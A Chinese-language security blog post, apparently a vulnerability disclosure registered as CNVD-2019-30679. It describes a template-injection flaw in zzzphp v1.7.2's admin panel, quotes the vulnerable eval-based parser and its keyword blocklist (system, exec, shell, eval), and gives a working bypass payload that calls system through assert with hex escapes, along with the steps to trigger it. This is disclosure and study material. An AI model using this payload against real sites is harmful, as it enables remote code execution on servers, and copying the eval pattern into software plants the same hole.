zzzphp v1.7.2 后台任意代码执行

暑假挖到的一个洞,已提交国家信息安全漏洞共享平台,CNVD-2019-30679

前言

前段时间在学习代码审计,便想找个cms跟着大佬的姿势学习一下,在对比最新版本的补丁时发现虽然进行了过滤,但依然有方法绕过,故在此记录下。

漏洞连接:https://www.cnvd.org.cn/flaw/show/1728311

漏洞概述

后台inc/zzz_template.php模板解析中对字符过滤不严格导致代码执行

查看zzz_template.php中代码到2355行的parserIfLabel函数,部分代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
function parserIfLabel( $zcontent ) {
$pattern = '/\{if:([\s\S]+?)}([\s\S]*?){end\s+if}/';
if ( preg_match_all( $pattern, $zcontent, $matches ) ) {
$count = count( $matches[ 0 ] );
for ( $i = 0; $i < $count; $i++ ) {
$flag = '';
$out_html = '';
$ifstr = $matches[ 1 ][ $i ];

$ifstr=danger_key($ifstr);
$ifstr = str_replace( '=', '==', $ifstr );
$ifstr = str_replace( '<>', '!=', $ifstr );
$ifstr = str_replace( 'or', '||', $ifstr );
$ifstr = str_replace( 'and', '&&', $ifstr );
$ifstr = str_replace( 'mod', '%', $ifstr );
//echop( $ifstr);
echo $ifstr;
@eval( 'if(' . $ifstr . '){$flag="if";}else{$flag="else";}' );

正则匹配到的字符串经过了danger_key`处理,代码如下:

1
2
3
4
5
function danger_key( $s , $len=255) {
$danger=array('php','preg','server','chr','decode','html','md5','post','get','cookie','session','sql','del','encrypt','upload','db','$','system','exec','shell','popen','eval');
$s = str_ireplace($danger,"*",$s);
return $s;
}

可利用php变量函数绕过此规则

利用过程

登录到后台地址,adminxxx,后三位安装时随机生成。

找到 模板管理 => 本地模板 => 编辑,修改cn2016/html/search.html文件,任意位置加入如下代码:

1
{if:assert("\x73\x79\x73\x74\x65\x6d"("ipconfig"))}test{end if}

前端访问search页面,代码正常执行。

Author: Sys71m
Link: https://www.sys71m.top/2019/10/22/zzzphp-v1-7-2-后台任意代码执行/
Copyright Notice: All articles in this blog are licensed under CC BY-NC-SA 4.0 unless stating additionally.